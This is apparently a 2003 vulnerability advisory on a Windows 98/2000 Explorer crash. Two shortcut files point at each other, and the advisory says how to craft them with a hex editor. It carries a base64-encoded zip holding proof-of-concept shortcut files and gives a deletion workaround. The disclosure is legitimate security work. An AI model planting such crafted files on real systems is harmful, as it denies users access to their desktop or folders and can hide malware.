16th Mar 2003 [SBWID-6068]
COMMAND
Windows explorer DoS with cross-referenced shortcuts (link(a) <->
link(b))
SYSTEMS AFFECTED
Tested With: Windows 98, Windows 2000 Server
PROBLEM
S.G.Masood [[email protected]] found :
There is a problem with the way Windows (tested with Win98 and Win2k
Server) handles shortcut (.lnk) files.
A specially crafted shortcut will crash explorer.exe/shell32.dll.
A shortcut, say, A.lnk is created and it is made to point to another
shortcut B.lnk. Then, B.lnk is made to point to A.lnk. Now when the
folder containing these two files is viewed or accessed in any way,
explorer crashes.
(Note that Windows won't allow the creation of .lnk files in the above
format. A hex editor can be used to change the location of the .lnk
files. A zip file containing examples for Win98 has been attached)
As an effect, a malicious user/program can hide malware in a folder
containing these .lnk files to prevent users/programs from
investigating the contents of the folder.
This vulnerability is most damaging when the shortcuts are placed on
the desktop. This could prevent many clueless users from using their
computer.
--snap--
--0-2099707853-1047734379=:38066
Content-Type: application/x-zip-compressed; name="test.zip"
Content-Transfer-Encoding: base64
Content-Description: test.zip
Content-Disposition: attachment; filename="test.zip"
UEsDBBQAAAAIAFcibC5Lkat2pgAAAAUBAAAKAAAAdGVzdC9hLmxua/NhYGBg
FGFiAIEDYJLBTRpIKID4tqulFV4cYmRoibX88xxIO1+WAfOhAM6AgkQGEQZ5
/gf+FxReWWUKLLrBwaBtYDBXkkHZ2SqGAR0YtkgwGIJZ2XoXtgowlKQWlzCE
uAaHMEgxGEHFb29VYEjSy8nLhpIMDA5ALMMAsRpEG0INswcSokDMDMS3OYvk
BIB0kGOUJwPQapDJMVAD2Bn0IEx2mAzIVQBQSwMEFAAAAAgAZiJsLgcknDqp
AAAABQEAAAoAAAB0ZXN0L2IubG5r82FgYGAUYWIAgQNgksFNGkgogPi2q6UV
XhxiZGiJtfzzHEg7X5YB86EAzoCCRAYRBnn+B/4XFF5ZZQosusHBoG1gMFeS
QdnZKoYBHRi2SDAYglnZehe2CjCUpBaXMIS4BocwSDEYQcVvb1VgSNTLyctm
cASTDAwOQCzDALEaRBtCDbMHEqJAzAzEtzmL5ASAdJBjlCcD0GqQyTEQYxjY
GfQgTHaYDMhVAFBLAwQKAAAAAACRImwuTrd9xEIAAABCAAAADwAAAHRlc3Qv
cmVhZG1lLnR4dDEuIFVuemlwIHRvIEM6XA0KMi4gT3BlbiB0aGUgZm9sZGVy
IGM6XHRlc3QNCg0KVGVzdGVkIHdpdGggV2luOTgNClBLAwQKAAAAAAAQImwu
AAAAAAAAAAAAAAAABQAAAHRlc3QvUEsBAhQAFAAAAAgAVyJsLkuRq3amAAAA
BQEAAAoAAAAAAAAAAAAgALaBAAAAAHRlc3QvYS5sbmtQSwECFAAUAAAACABm
ImwuByScOqkAAAAFAQAACgAAAAAAAAAAACAAtoHOAAAAdGVzdC9iLmxua1BL
AQIUAAoAAAAAAJEibC5Ot33EQgAAAEIAAAAPAAAAAAAAAAEAIAC2gZ8BAAB0
ZXN0L3JlYWRtZS50eHRQSwECFAAKAAAAAAAQImwuAAAAAAAAAAAAAAAABQAA
AAAAAAAAABAA/0EOAgAAdGVzdC9QSwUGAAAAAAQABADgAAAAMQIAAAAA
--0-2099707853-1047734379=:38066--
SOLUTION
No patch is availaible from the vendor. The shortcuts can be safely
deleted from the commandline.